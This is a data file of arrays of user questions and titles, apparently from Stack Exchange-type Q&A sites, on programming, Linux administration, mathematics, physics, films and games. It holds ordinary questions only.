[ "I am looking for a YA book about a boy who learns to use powers from a mind-adept, in a seemingly abandoned house. The adept helps him open his mind by using a cube. One of his powers, I believe, is to go into dreams of people that he knows. He helps his young female neighbor friend by doing this, opening a door in her mind. He tries to open the mind-door of a local older bully, but finds out the young man can't be helped because he has been abused mentally and physically. I don't believe the book I read is past 1995. It might have the word \"adept\" in it.", "Is the consciousness currently in oneself the same the the consciousness that used to be or in the future will be in oneself? People seem to believe that one's consciousness is a \"different\" consciousness than that of others, but the \"same\" consciousness as the one that has been in one's body in the past and the one that will be in one's body in the future. How likely is this to be true and why? Also, I have almost no knowledge about neuroscience, so please refrain from using neuroscience jargon if feasible.", "Laptop water damage repair procedure I'd love some advice in repairing a water-damaged laptop. My girlfriend spilled a glass of water on her Sony Vaio and now it doesn't turn on...at all...dead! What steps should I go through to work out where the problem is and which part(s) I'll need to replace? I can't seem to find out what has happened by just looking at the circuit boards. I'm new to electronics but could buy relevant volt-meters etc. I'm just looking for a decent trouble-shooting guide.", "What is the difference between private and protected members of C++ classes? What is the difference between private and protected members in C++ classes? I understand from best practice conventions that variables and functions which are not called outside the class should be made private—but looking at my MFC project, MFC seems to favor protected. What's the difference and which should I use?", "I am traveling from Chennai to Atlanta. M first flight is to Frankfurt reaches at 8 30 AM. My second flight is scheduled at 10 45 AM. Will the two hours transit time enough for boarding my second flight. What should be my do's and dont's? Update Its more than enough. I was able to make it without any tension.", "Default currency symbol I'm looking for a way to get the Default currency symbol (in a none-multi-currency org) of the salesforce org locale (to have it displayed on a visualforce page in a field that can't be &lt;apex:inputField&gt; or &lt;apex:outputField&gt;) preferably query-able from apex (via the database, a describe or whatever) and then again the actual symbol, meaning € for Euro, $ for dollar, and so on... There must surely be some sort of mapping hidden in the code somewhere salesforce does this via the input/outputfields if bound to an sobject of type currency Can anyone point me in the right direction?", "I have two areas of my house which are cantilevered. One is a bay area which extends about 2'. The other is the bottom of a fireplace box (gas fireplace). I have placed two layers of R-13 (I think) insulation in this area, but inside the house it's like a heat sink where all of the heat is sucked out ... very cold to the touch in the winter time. Obviously there must be a better way to insulate this area. My question is, what is the best way to insulate a cantilevered area so as to allow the inside area of the house to not be so cold in the winter time?", "C# AutoComplete", "How to know if my GPU supports CUDA? How can I know from the terminal or something whether my hardware supports CUDA?", "Can we have a high-speed low-drag close vote review queue?", "Which Distribution Does the Data Point Belong to?", "iOS 12 tapping on notification to open app not working", "Which movie/TV show has an evil cyborg harvesting eyes from androids in a hidden town? I watched it maybe more than 8 to 12 years ago, but as far as I remember there was this place where androids (or maybe they were cyborgs) lived. (I think it was more like a hidden town). This guy finds them by accident (or at least I remember it that way) and tries to help them. I don't remember seeing any aliens or spaceships or anything like that. It was live-action, and I think US-based. So, what I remember: The bad guy is a human who has one red flashy robotic eye (not like terminators, it looks like a square eye patch above one of his eyes that functions like a second eye), he is collecting eyes from these androids/cyborgs. He also kills some of these androids/cyborgs but not all of them, some of them he just collects their eyes and doesn't kill (or get to kill). There was this woman who was a sexbot or something, she tried to give pleasure to the bad guy at some point, yet the bad guy added one of her eyes to his collection instead, but didn't/wasn't able to kill her. Towards the end she says something like \"I used to give pleasure, now I only want to give pain\" The human guy who found them tried to help them defend themselves from the bad guys, but they were in bad shape, many of them needed repair. To repair some of them, they needed spare parts they didn't seem to have, but one of the android/cyborg dudes said something like \"we don't really bury our dead\" and he brought a box of spare parts (or maybe android/cyborg body parts), they used these parts to repair some of the androids/cyborgs. There was this android/cyborg guy who was an assassin or something, but lost his fingers or hands, they couldn't find any hands compatible to his, but he said something like \"I can still feel my trigger finger, just attach the weapons to my hands\". I remember it as a great movie/tv show, but I can't find anything about it. Can someone help me? Please and thank you in advance...", "How can I subdivide this plane into even squares?", "Html Textarea elements only wrap when they reach a space or tab character. This is fine, until the user types a looooooooooooooooooooooong enough word. I'm looking for a way to strictly enforce line breaks (eg.: even if it results in \"loooooooooooo \\n ooooooooooong\"). The best I've found is to add a zero-width unicode space after every letter, but this breaks copy and paste operations. Anyone know of a better way? Note: I'm referring to the \"textarea\" element here (i.e.: the one that behaves similarly to a text input) - not just a plain old block of text.", "Use grep to find content in files and move them if they match", "If I insert a flash drive and try to drag any files onto desktop - nothing happens. Or from any other folder. Drag 'n copy only works if you open desktop in nautilus (\"show desktop in files\"). I already ran the command: gsettings set org.gnome.nautilus.preferences use-experimental-views false It didn't help. How to fix this?", "The sup norm on $C[0,1]$ is not equivalent to another one, induced by some inner product Let $\\mathrm{C}[0,1]$ be the space of continuous functions $[0,1]\\rightarrow \\mathbb{R}$ endowed with the norm $||x||_{\\infty}=\\mathrm{max}_{t\\in [0,1]}|x(t)|$. It is easy to verify that this norm is not induced by any inner product (really the parallelogram law fails for $x(t)=t$ and $y(t)=1$). Well, how to understand that this norm is not equivalent to anyone induced by an inner product? So, the norms induced by inner products should have some special properties...", "Firstly my main goal is to try and get FTP files recursively in Centos. However the actual FTP login contains an @ which ruins the syntax. Is there some way to place the username in \"double quotes\" or some such equivalent such that I can use @in the username?", "How to install Minecraft (Client) How to correctly install Minecraft, including setting any needed packages or apps to install it and to troubleshoot the most common problems that Ubuntu users face when trying to use Minecraft. I am trying to install and run Minecraft without first having to install the Oracle version of Java. I want to use the OpenJDK version that comes with Ubuntu and as a last resort, use the Oracle one. I also want to know a list of problems related to Minecraft in Ubuntu and the possible solutions to them. A step by step guide on how to install Minecraft would also help." ]

[ "How to inject Spring Bean for factory method requiring MyClass.class parameter", "Should Luke's lightsaber have given away his plan? During Luke's confrontation of Kylo Ren toward the end of The Last Jedi we see that the lightsaber Luke uses a blue lightsaber (which I thought was his original one but that really doesn't matter), not the green one of his own construction. Given that Kylo Ren and Rey has just fought over and broken the blue lightsaber Why did Kylo Ren not notice this \"inconsistency\" and realize that Luke's physical body was not there?", "The website I'm working is allegedly going to have a massive hit rate soon after launch. The client is talking about the possibility of around 2500 hits per second over a day or so. Ignoring the fact that this hit rate is probably wild client optimism and apart from getting the largest servers possible, what is the best way that Drupal should be configured to support a large hit rate. I've read Scaling the , , and many other pages, but what I'm looking for is real experience of doing this, what works, what doesn't, and what to expect.", "Compound possessives and yours", "\"404. That’s an error.\" when viewing from Google cache My site is getting 404. That’s an error. message when I click on cached from Google search results. This is the error message from Google: That’s an error. The requested URL /search?q=cache:8kxLAgFrhZQJ:www.mysite.com.....&amp;cd=8&amp;hl=en&amp;ct=clnk&amp;gl=uk was not found on this server. That’s all we know. What I did before I was getting this error is that about 10 days ago, I moved my hosting from Ixwebhosting to Gearhost (cloud based). I also added 301 redirect from non www to www. I have no idea why I am getting this error. Please advise what might be the reason if there is a solution for it. All of my pages are indexed by Google though.", "Constants of motion vs. integrals of motion vs. first integrals Since the equation of mechanics are of second order in time, we know that for $N$ degrees of freedom we have to specify $2N$ initial conditions. One of them is the initial time $t_0$ and the rest of them, $2N-1$ are initial positions and velocity. Any function of these initial condition is a constant of motion, by definition. Also, there should be exactly $2N-1$ algebraically independent constants of motion. On the other hand, Noether's procedure gives us integrals of motion as a result of variational symmetries of the action. These integrals of motion are also conserved but they are not always $2N-1$ in number. In consequence, we classify the system by their integrability. So, what is the difference between the and ? Why do non- have less integrals of motion when they should always have $2N-1$ constants of motion?", "How can black hole increase its mass?", "Wilcox.test for testing count based data in R studio large W I'm doing a textmining project about a videogame review dataset. I divided de reviews into a positive (reviewgrade > 8) and negative (reviewgrade &lt; 3) and want to draw conclusions based on the frequency of different grading factors mentioned in the text. I now have a dataframe with counts of certain categories mentioned per review. 0 13249 1 1565 2 292 3 65 4 19 5 6 6 4 7 3 8 2 9 1 Name: positive: gameplay, dtype: int64 0 5043 1 348 2 66 3 18 4 8 5 3 Name: negative: gameplay, dtype: int64 For example this are the distributions of the amount of reviews which have a certain amount of mentions of gameplay related words. There are for example 1565 reviews with precisely 1 mention of a word related to the category gameplay. Now I want to use this data to determine if on average gameplay gets mentioned more in negative context than in positive or vice versa. Because the data is not normal distributed, I assumed a t-test is not appropriate, and found online that a Mann–Whitney U test might be suitable. &gt; wilcox.test(positive$gameplay, negative$gameplay, alternative = \"two.sided\", conf.int = TRUE) Wilcoxon rank sum test with continuity correction data: positive$gameplay and negative$gameplay W = 43702925, p-value &lt; 2.2e-16 alternative hypothesis: true location shift is not equal to 0 95 percent confidence interval: 2.963844e-05 4.797412e-05 sample estimates: difference in location 4.995671e-05 I do however get a very high W value, which doesn't seem to be correct. Is this not the appropriate test, or am I interpreting this wrong?", "Square roots -- positive and negative", "Determine which app is drawing on top of other apps? Is there a way to determine which application is drawing on top of other applications? For example, Facebook Messenger app can draw the chat bubbles on top of everything, but how do I know which app is doing this? My problem: I have an app which is drawing ads on top of everything and I wanna know which app is doing this. Not just to uninstall it, but to warn everyone that uses this app. (I didn't install any application recently and I already verified the recent updates.) I tried to use the Dump View Hierarchy for UI Automator from the Android Studio, but it seems that the applications that draw on top can't be selected this way. (Click image to enlarge)", "it has the guide for 12.10 but not newer ones plz someone help", "Prove that $\\int_0^{\\infty} \\frac{\\sin x}{x^p}\\, dx$ converges for $0<p<2$", "Best method for short time-series", "Does anyone know of a .NET date/time parser similar to (handles stuff like \"tomorrow\" or \"3pm next thursday\")? Note: I do write Ruby (which is how I know about Chronic) but this project must use .NET.", "Finite choice without AC Can anyone explain how we choose one sock from each of finitely many pairs without the axiom of choice? I mean : To choose one sock from each of infinitely many pairs of socks requires the Axiom of Choice, but for shoes the Axiom is not needed. The idea is that the two socks in a pair are identical in appearance, and so we must make an arbitrary choice if we wish to choose one of them. For shoes, we can use an explicit algorithm -- e.g., \"always choose the left shoe.\" Why does Russell's statement mention infinitely many pairs? Well, if we only have finitely many pairs of socks, then AC is not needed -- we can choose one member of each pair using the definition of \"nonempty,\" and we can repeat an operation finitely many times using the rules of formal logic (not discussed here).", "How to add percent sign to NSString", "How does the Comma Operator work How does the comma operator work in C++? For instance, if I do: a = b, c; Does a end up equaling b or c? (Yes, I know this is easy to test - just documenting on here for someone to find the answer quickly.) Update: This question has exposed a nuance when using the comma operator. Just to document this: a = b, c; // a is set to the value of b! a = (b, c); // a is set to the value of c! This question was actually inspired by a typo in code. What was intended to be a = b; c = d; Turned into a = b, // &lt;- Note comma typo! c = d;", "View revision history on mobile site It looks like it's currently not possible to view the revision history of a post from the mobile site. I think it would be a lot simpler than loading the desktop site on a phone just to get the revision history.", "Let Y(1), Y(2), Y(3), Y(4), Y(5) denote the order statistics of a random sample of size 5 from a distribution having p.d.f. Help me to solve this problem please.. Let $Y_{(1)}, Y_{(2)}, Y_{(3)}, Y_{(4)}, Y_{(5)}$ denote the order statistics of a random sample of size 5 from a distribution having p.d.f. $f(y) = e^{(-y)}, 0 &lt; y &lt; \\infty$, zero elsewhere. Show that $Z_1 = Y_{(2)}$ and $Z_2 = Y_{(4)} − Y_{(2)}$ are independent. Hint: First find the joint p.d.f. of $Y_{(2)}$ and $Y_{(4)}$.", "How to replace a string with a string containing slash with sed? I am looking for a way to replace a string in a file with a string that contains a slash by using sed. connect=\"192.168.100.61/foo\" srcText=\"foo.bar=XPLACEHOLDERX\" echo $srcText | sed \"s/XPLACEHOLDERX/$connect\" The result is: sed: -e Expression #1, Character 32: Unknown option for `s'" ]

[ "I can work. I could work. I will work. I would work. I shall work. I should work.", "$\\epsilon$ undefined using Minion Pro with pdftex I'm using MiKTeX 2.9 and have recently installed the Minion Pro fonts for use with pdftex. I followed the instructions available on to install them. Everything works as expected, but in place of the Greek letter epsilon I get a box with a cross (see below), and the following warning: I found the issue was reported , but I still can't fix it. xelatex works fine, but I'd like to to stick to pdftex so I can use microtype. \\documentclass{article} \\usepackage[T1]{fontenc} \\usepackage{MinionPro} \\begin{document} Text here. $\\epsilon$ \\end{document} UPDATE: a set of instructions for the installation of the up-to-date FontPro scripts with MiKTeX can be found .", "Should the weight of downvotes be increased?", "How do I get the coordinates of a mouse click on a canvas element? What's the simplest way to add a click event handler to a canvas element that will return the x and y coordinates of the click (relative to the canvas element)? No legacy browser compatibility required, Safari, Opera and Firefox will do.", "Finding the number of zeros of $f(z) = z^n$ if $|f(z)| < 1 $ for all $z$ with $|z|=1$. Suppose $f: \\overline{\\mathbb{D}} \\to \\mathbb{C}$ is continuous, analytic in $\\mathbb{D}$ and satisfies $|f(z)|&lt;1$ for $|z|=1$. Find the number of solutions to the equation $f(z) = z^n$ where $n$ is a positive integer. ($\\mathbb{D}$ is the unit disk). Some of my own attempts: Using the Maximum/Minimum Principle, we can split up the the problem in $2$ parts: Suppose $f$ is constant. It then holds that $z^n = c$ has exactly $n$ zeros because of the fundamental theorem of algebra. Suppose $f$ is not constant. It holds that $f$ has at least one zero in $\\mathbb{D}$. It of course also holds that $z^n$ has a zero of multiplicity $n$ at the origin. I think I'm supposed to hit with stuff like Rouché's theorem, the Argument Principle or Schwartz lemma, but nothing seems to fit. Thanks in advance.", "STI vs STD vs Sexually Transmitted Virus", "Sync folder with Android device I would like to have a folder with all my music which is automatically synced on my Android device (Wifi only, plugged in only, like in SugarSync). Is there any hope for this feature to be implemented in the near future. This would actually make me pay for U1.", "Using adjustbox along with table footnote", "Are there published predictions that hydrogen could remain metallic at ambient pressure? Below the question there is a that directed me to the BBC News summary . In their attempt to balance the skepticism of this particular reported observation with the potential implications of producing metallic hydrogen in a laboratory, the BBC included some far-reaching possibilities: If that is true - and it is a controversial claim - it fulfills a more than 80-year quest to produce what many have said would be a wonder material. Theory suggests metallic hydrogen could be used to make zero-resistance electrical wiring and super-powerful rocket fuel, among many applications. At the end of the article: &quot;The scepticism here is probably a good thing, in that it will drive many groups towards attempting to reproduce this experiment. This publication will certainly incite the field. Again, if it holds up, this is an exciting result. I think in this case time will tell,&quot; he told BBC News. ...referring to Marcus Knudson from Sandia National Laboratories. And Jeffrey McMahon from Washington State University concurred: &quot;With respect to the tiny sample amount: Such experiments are performed in small diamond anvil cells. One challenge would be to make a larger quantity (at once); another, perhaps bigger challenge is to recover even the small sample (ie, remove it from the extreme pressures that it is under in the diamond anvil cell). &quot;Whether the latter is possible is an important open question.&quot; Question: Are there published, peer-reviewed predictions that hydrogen could remain metallic at ambient pressure? A link or reference would be appreciated. If it's still in pre-print form (AeXiv) that's OK too. If it's possible, a little help understanding the prediction would be great as well: I know there are many predicted crystalline forms of water ice at elevated pressures and/or reduced temperatures, and many or most of these have been observed, but I think most of them revert once pressure is reduced to ambient. Also the comes to mind. If there is such a prediction of the possibility of hydrogen remaining metallic at ambient, is there an analogous example of this with a material I'm more familliar with, or is this something quite new?", "How to convert local time string to UTC?", "How can I get distribution name and version number in a simple shell script? I'm working on a simple bash script that should be able to run on Ubuntu and CentOS distributions (support for Debian and Fedora/RHEL would be a plus) and I need to know the name and version of the distribution the script is running (in order to trigger specific actions, for instance the creation of repositories). So far what I've got is this: OS=$(awk '/DISTRIB_ID=/' /etc/*-release | sed 's/DISTRIB_ID=//' | tr '[:upper:]' '[:lower:]') ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/') VERSION=$(awk '/DISTRIB_RELEASE=/' /etc/*-release | sed 's/DISTRIB_RELEASE=//' | sed 's/[.]0/./') if [ -z \"$OS\" ]; then OS=$(awk '{print $1}' /etc/*-release | tr '[:upper:]' '[:lower:]') fi if [ -z \"$VERSION\" ]; then VERSION=$(awk '{print $3}' /etc/*-release) fi echo $OS echo $ARCH echo $VERSION This seems to work, returning ubuntu or centos (I haven't tried others) as the release name. However, I have a feeling that there must be an easier, more reliable way of finding this out -- is that true? It doesn't work for RedHat. /etc/redhat-release contains : Redhat Linux Entreprise release 5.5 So, the version is not the third word, you'd better use : OS_MAJOR_VERSION=`sed -rn 's/.*([0-9])\\.[0-9].*/\\1/p' /etc/redhat-release` OS_MINOR_VERSION=`sed -rn 's/.*[0-9].([0-9]).*/\\1/p' /etc/redhat-release` echo \"RedHat/CentOS $OS_MAJOR_VERSION.$OS_MINOR_VERSION\"", "Is there any lower or upper limit on the energy of a photon? i.e. does the mathematical framework we currently use to study photons blow up when a photon surpasses a certain upper limit of energy? (or the same on the opposite side?) My thoughts: If I let the energy of a photon tend to infinity, its wavelength would be tending to zero, and since it is thought that we cannot really distinguish things when they are on the scale of a Planck Length, would the photon have its maximum energy when its wavelength is equal to the Planck length? (Feel free to correct me, I feel I might not be.) and for the opposite end of the spectrum a photon with the least energy would have zero wavelength, implying no photon, which is a trivial case.", "How to download Ubuntu Server backups automatically? I'm thinking of an investment in a new root server running ubuntu. Due to the fact, that the provider won't have extra backup-space, I need an other solution. Is it possible to download the server backups automatically when my desktop machine is connected to the internet and in idle state?", "After I read that companions don't drain the fusion core of a Power Armor when wearing it, I decided to try giving my armor to Nick so I'll always have it close by if I need it. But I was wondering if there are any other drawbacks to that. For example, does the Armor get damaged or destroyed when the companion is under fire?", "How do you run Ubuntu Server with a GUI?", "What's the subject of \"There is my biscuit!\" ? And how about \"There is one biscuit left\"? What's the subject, grammatically speaking, of these sentences? There is my biscuit! My biscuit is there! There is one biscuit left. I don't really know how to analyze these. The following observations seem to be relevant, though: The verb to be doesn't take an object. In the first two sentences, there is a demonstrative pronoun. It is therefore potentially a subject, I think. I don't know what part of speech is taken by there in the third sentence. In favour of reading my biscuit and one biscuit as the subjects is that if there were more than one biscuit then, in each case, the verb would become plural (There are my biscuits! etc.) In favour of reading one biscuit as the subject of the third sentence is that if we recast it as (the slightly unidiomatic) There remains one biscuit, it seems that one biscuit would have to be the subject. All of this leads me tentatively towards thinking that my biscuit and one biscuit are the subjects here, but I'm not totally confident about this. One other possibility: since to be doesn't take an object, does that mean it can have two subjects? In I am he, presumably both I and he are subjects, if neither is an object?", "Improve file-info visibility in Finder's preview pane I find the file information in the preview pane in column view is far more useful than the thumbnail. I wish I did not have to continually resize the Finder window or scroll the preview pane to see the info I'm looking for. As you can see below, the useful info is hidden in default size of Finder's new window under the preview options like rotate etc. Is there a way to do any of these to achieve the said goal (listed in order of decreasing likelihood!): reduce the size of the preview \"thumbnail\" covered by black here, reduce the amount of whitespace(grey here) around the preview \"thumbnail\" (only significant for landscape thumbnails), remove the preview \"thumbnail\" altogether, reorder the content of the preview column(bring file info up and send thumbnail down)? includes the options: resizing the Finder in every new window (which is labor intensive). Using View menu> Show Preview Options to turn off Quick Actions (which must be done for each file-type, and only reveals a small amount of file info).", "Background: I have the opportunity to pursue a Computer Science graduate degree at a well respected program (around top 20). I spoke with the professors at the university and I feel like I am a good fit with their research program. My ultimate pursuits are to complete a PhD in CS. I've done research as an undergraduate and it has only confirmed my notion that I want to pursue a research track career. More background: I applied to jobs (in case I was rejected to all the programs I applied for) prior to hearing back from my respective graduate programs. I accepted a position for an industry job (this was to secure I wouldn't be both unemployed &amp; not in school). Dilemma: Turns out my top graduate school is very interested in me, and I'm very interested in them. I would rather go to graduate school than work in industry forever. The industry job pays very well. I am split between A) working for a maximum of 1 year(It would only be 1 year, seriously I do not care about the money enough to work past a year) and B) going straight to graduate school. My concerns are as follows, if I choose A): Could I potentially defer my admissions? If I am not allowed to defer my admissions, would I have a good chance of re-applying and being accepted a year later? Would my potential advisers look down on me for deciding to work a year? I already made my mind up it would be a 1 year gig if I decide A). I know some people say once you make money, you may not be able to readjust to the graduate salary pay. But I don't think that will apply to because I'm going to live very frugally with or without industry pay.", "I would like to see the icons in the 'Hot Network Questions' right panel clickable, leading to the homepage of the site where the question comes from. It would make it more comfortable to switch to the site when you want rather to visit it than to see that specific \"hot\" question.", "What is the physical meaning of $\\epsilon_0$?" ]

[ "One of is followed by plural noun/pronoun and singular helping verb", "Accidently deleted boot option on Dell laptop I have a Dell laptop in which I have dual booted Ubuntu with Windows 10. Usually the laptop loads the Grub menu first. Recently I had some problems with Windows Bitlocker: every time I open Windows I am prompted to enter the Bitlocker password. In trying to solve this, I accidentaly clicked Ubuntu in the \"Delete Boot\" option in the boot sequence. Now the laptop boots directly to Windows without first loading the Grub menu. Luckily, when I restarted the system and clicked \"add boot option\" I found the efi folder in which the Ubuntu folder is present. In Ubuntu there is fwgrupx64.efi, grubx64.efi, grub.cfg, shimx64.efi, mmx64.efi, and BOOTX64.CSV. On clicking grubx64.efi it shows \"Boot name not found\". How can I recover the Grub boot menu?", "Want to cancel a 'Pending Erase' on iphone... Any suggestions? I lost my phone on vacation and activated 'Lost Mode' for a couple of days. The night before heading home I decided to do the Remote Erase ´cause I thought there's no way I'd get it back, I also called my carrier and canceled the data service on my number. The phone has been offline ever since but the hotel just called to say they found my phone at the spa and they are mailing it back to me. So I want to cancel the 'Pending Erase', all I care about is recovering all the pictures from that trip that I hadn't backed up on iCloud yet... Will removing the device from my iCloud account work? And if I don't have service on the phone, will the 'Erase iPhone' command still go through when I turn it on? Please help! I have two days to figure this out", "I have been using the app for 3 days now. I just opened it up again, and it asked me to sign \"up\" again with either Google or the Trainer server. So I signed up with the same Google account as when I first started with and the game started again. Is there Any way I can get my progress back?", "Add an API key to QGIS for QOSM layer", "What is a referee in the manuscript submission process? Please submit, with the manuscript, the names, addresses (including countries), and e-mail addresses of five potential referees who are outside the authors' institutions and must not have conflict of interest with the authors. Do you think I should name 5 researchers from a similar area that are not affiliated with my university and co-authors? Is this what referees are?", "Why do paintbrush loops get thicker at the top in Illustrator? When I do swirls in Illustrator with the paintbrush tool I often get this result (see image). The loops doesn't get perfectly rounded, instead sometimes some of them gets thicker at the top of the loop... It tends to happen more if I paint small with low brush sizes. Why is this happening?", "If $ad$ and $bc$ are odd and even, respectively, then prove that $ax^3+bx^2+cx+d$ has an irrational root. $\\displaystyle ax^3+bx^2+cx+d$ is a polynomial with integer coefficients. It is given that $ad,\\,bc$ are odd and even respectively. Then prove that not all roots of the polynomial are rational. It is easy to see that none of the roots are integer. But how to tackle the rational case? Any help is appreciated.", "I installed Ubuntu 17.10. Now I am having trouble with gksu: $ gksu -dg synaptic No ask_pass set, using default! xauth: /tmp/libgksu-HgUjgQ/.Xauthority STARTUP_ID: gksu/synaptic/8760-0-alex-XPS-15-9530_TIME4974977 cmd[0]: /usr/bin/sudo cmd[1]: -H cmd[2]: -S cmd[3]: -p cmd[4]: GNOME_SUDO_PASS cmd[5]: -u cmd[6]: root cmd[7]: -- cmd[8]: synaptic buffer: -GNOME_SUDO_PASS- brute force GNOME_SUDO_PASS ended... Yeah, we're in... Unable to init server: Could not connect: Connection refused (synaptic:8767): Gtk-WARNING **: cannot open display: :1 xauth: /tmp/libgksu-HgUjgQ/.Xauthority xauth_env: (null) dir: /tmp/libgksu-HgUjgQ If I don't use -g, the password dialog is disabled. So looks like a problem with creating a tty for root. Any advice?", "How could they return the Infinity Stones in their \"raw\" form? There is this one little thing that I don't quite get at the end of Avengers: Endgame. After Thanos was defeated, Captain took the stones back to where they were originally taken to \"correct\" the timeline. However we see that Cap has the 6 stones in their \"Raw\" form, but that is not how all of them were taken. For example in 1970 Tony didn't take the Space Stone but the Tesseract, so I assume they extracted the Space Stone in the present (by breaking the Tesseract like Thanos in the Infinity War movie?). So how could Cap return the stone to the rightful place when he actually needed to return the Tesseract? Or am I missing something here... The same goes for the Mind Stone, which was inside the Gem on the Staff Loki had in the first Avengers movie.", "How to use 'hover' in CSS", "Why is isNaN(null) == false in JS? This code in JS gives me a popup saying \"i think null is a number\", which I find slightly disturbing. What am I missing? if (isNaN(null)) { alert(\"null is not a number\"); } else { alert(\"i think null is a number\"); } I'm using Firefox 3. Is that a browser bug? Other tests: console.log(null == NaN); // false console.log(isNaN(\"text\")); // true console.log(NaN == \"text\"); // false So, the problem seems not to be an exact comparison with NaN? Edit: Now the question has been answered, I have cleaned up my post to have a better version for the archive. However, this renders some comments and even some answers a little incomprehensible. Don't blame their authors. Among the things I changed was: Removed a note saying that I had screwed up the headline in the first place by reverting its meaning Earlier answers showed that I didn't state clearly enough why I thought the behaviour was weird, so I added the examples that check a string and do a manual comparison.", "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages", "Where did the disco repos go, or what is going on?", "Backup and restore settings in Texstudio Does someone know, how to save all the settings of Texstudio and restore them in a simple way? Thank you in advance!", "Rainbow Six Siege Insane Load times? Computer or Internet? I have a high-end computer with decent ethernet yet whenever I join a game in Siege everyone finishes loading and it takes me 1-5 minutes. Is this because of my internet or computer? Specs: CPU - i7-7700k GPU - GTX 1080 16GG RAM 5900 RPM 4TB Hard drive", "Trying to attach a file from SD Card to email I am trying to launch an Intent to send an email. All of that works, but when I try to actually send the email a couple 'weird' things happen. here is code Intent sendIntent = new Intent(Intent.ACTION_SEND); sendIntent.setType(\"image/jpeg\"); sendIntent.putExtra(Intent.EXTRA_SUBJECT, \"Photo\"); sendIntent.putExtra(Intent.EXTRA_STREAM, Uri.parse(\"file://sdcard/dcim/Camera/filename.jpg\")); sendIntent.putExtra(Intent.EXTRA_TEXT, \"Enjoy the photo\"); startActivity(Intent.createChooser(sendIntent, \"Email:\")); So if I launch using the Gmail menu context It shows the attachment, lets me type who the email is to, and edit the body &amp; subject. No big deal. I hit send, and it sends. The only thing is the attachment does NOT get sent. So. I figured, why not try it w/ the Email menu context (for my backup email account on my phone). It shows the attachment, but no text at all in the body or subject. When I send it, the attachment sends correctly. That would lead me to believe something is quite wrong. Do I need a new permission in the Manifest launch an intent to send email w/ attachment? What am I doing wrong?", "What does the text inside parentheses in @interface and @implementation directives mean?", "How to normalize my db schema for a quiz application? I am putting together a quiz application. (I'm calling each quiz a \"challenge\") I have a \"challenge\" table and a \"challenge_question\" table which is pretty straightforward. challenge table: id name num_questions (I want to randomize and only display a certain number of Qs per each challenge) challenge_question table: id challenge_id question (text of the question) required (some questions will be required to be displayed per each challenge) question_type (here I indicate what type of question: Mult. choice, T/F, Ordering, or Fill-in-the-blank) Where I'm having trouble in normalization is with the types of question options: Multiple choice, true/false, ordering, and fill-in-the-blank. I wonder, should I have a separate table for each type of challenge-question-option? Or is it possible to combine these into one somehow.. If I combined all possible options into a single table, it might look be something like this challenge_options table: id challenge_question_id option (text field, can be used for both multiple choice and for fill-in-the-blank style questions) is_true (boolean field for true/false questions) is_correct (boolean, used to determine multiple choice answer) ordering_option_1 ordering_option_2 ordering_option_3 ordering_option_4 (these ordering fields would store the correct sequence of an ordering style of question) This really strikes me as less than ideal. Actually, I don't see how the ordering_options would work out correctly at all. Wouldn't I need to have each of those be a separate option? Surely there must be a better way. Any suggestions/criticisms or alternate approaches?", "Why is the second order perturbative correction to the ground state energy always down?" ]

[ "Repeating something with (1/n)th chance of success n times", "How to Convert Persian Digits in variable to English Digits Using Culture?", "Fitting an infinite collection of balls in an infinite dimensional unit ball Given an infinite dimensional normed linear space, how would one show that it is possible to fit an infinite collection of non-overlapping balls of radius $\\frac{1}{4}$ in the unit ball? I guess one can immediately reduce the problem to a normed linear space of countably infinite dimensions. The solution seems clear if the concept of orthogonality exists, but not every normed linear space has an inner product so it's not possible to apply something like Gram-Schmidt to produce an orthogonal basis. Is there any way around this, or there another approach that can be used?", "How to delete file(s) in secure manner?", "What is the difference between the two \"worlds\" when going thru the day/night wormhole at the altar?", "Let $I$ and $J$ be ideals of a Noetherian ring $A$. If $JA_P\\subseteq IA_P$ for every $P\\in \\operatorname{Ass}_A(A/I)$, then $J\\subseteq I$. I'm reading Matsumura's Commutative Ring Theory book on my own. This is exercise $6.4$ in that book, and I fail to prove it. Could you help me with this? Thanks in advance.", "What is a good word for “best example”? What is a good word for “best example”? I would like to describe a film as the greatest example of its features.", "There is a formal definition for the Big O notation in . Up to now I have come across Big O in Numerical Analysis, Calculus and Algorithms which all are pretty distinct fields. What I am wondering is if that definition is global and is the only one that is used in every field where the Big O is involved or there are other ways that the Big O is defined in other areas of Mathematics.", "Why did the Nazgûl not attack a second time at Weathertop?", "Prove $\\frac{|a+b|}{1+|a+b|}<\\frac{|a|}{1+|a|}+\\frac{|b|}{1+|b|}$. Prove that for every $a, b\\in R\\setminus\\{0\\}$ is correct this inequality: $$\\frac{|a+b|}{1+|a+b|}&lt;\\frac{|a|}{1+|a|}+\\frac{|b|}{1+|b|}.$$", "Map a network drive to be used by a service Suppose some Windows service uses code that wants mapped network drives and no UNC paths. How can I make the drive mapping available to the service's session when the service is started? Logging in as the service user and creating a persistent mapping will not establish the mapping in the context of the actual service.", "obtain a three-term asymptotic solution", "Yesterday I started the upgrade from 12.10 to 13.04, but I interrupted it because it was taking too long. Now if I restart it, it doesn't proceed. Is there any possibility to clean the mess it left when I interrupted it and make a clean restart of this update?", "I cannot respond to comments on my own question (no \"add a comment\" link anywhere) I joined a new community and asked a question () People are commenting &amp; asking questions, but I cannot answer them back. Even \"Comment Everywhere\" privilege requires 50 reputations and I have 101 reputations. Am I missing something?", "Difference between live and neutral wires In domestic electrical circuits, there are 3 wires - live, earth and neutral. What is the difference between the live and neutral wires? As there is AC supply, it means that there are no fixed positive and negative terminals. Current rapidly switches direction. Does that not mean that both the live and neutral wires carry the same amount of current, alternatively? Why is the neutral wire called 'neutral'?", "Prove that, if A and B is similar, then $A^T$ is similar to $B^T$. Attempt: I try to use the defn of similarity, and then the rule to transpose in different order, but get nowhere. This should be simple... (Note to self: page 92.)", "How is the Schroedinger equation a wave equation?", "Prior to the spell cast on Mjolnir, did Thor control lightning on his own? In the film Thor, Odin casts a spell on Mjolnir and strips Thor of his power. He then banishes Thor to Midgard (Earth). On Earth, Thor is seemingly just a strong and durable human. Later in the film, he becomes worthy, and regains control of Mjolnir. This then grants him his full power set and control over Mjolnir. My question is, prior to this, could Thor control lightning all on his own? Or is this purely an ability of Mjolnir?", "Breakthrough at the Large Hadron Collider -Leptoquarks skepticism?", "Cannot empty trash I am trying to empty my trash, and it keeps giving me an error message that says, .Trash can't be opened right now because it's being used by another task... I have tried restarting my computer, running Finder > Secure Empty Trash everything yields the same result and error message from above." ]

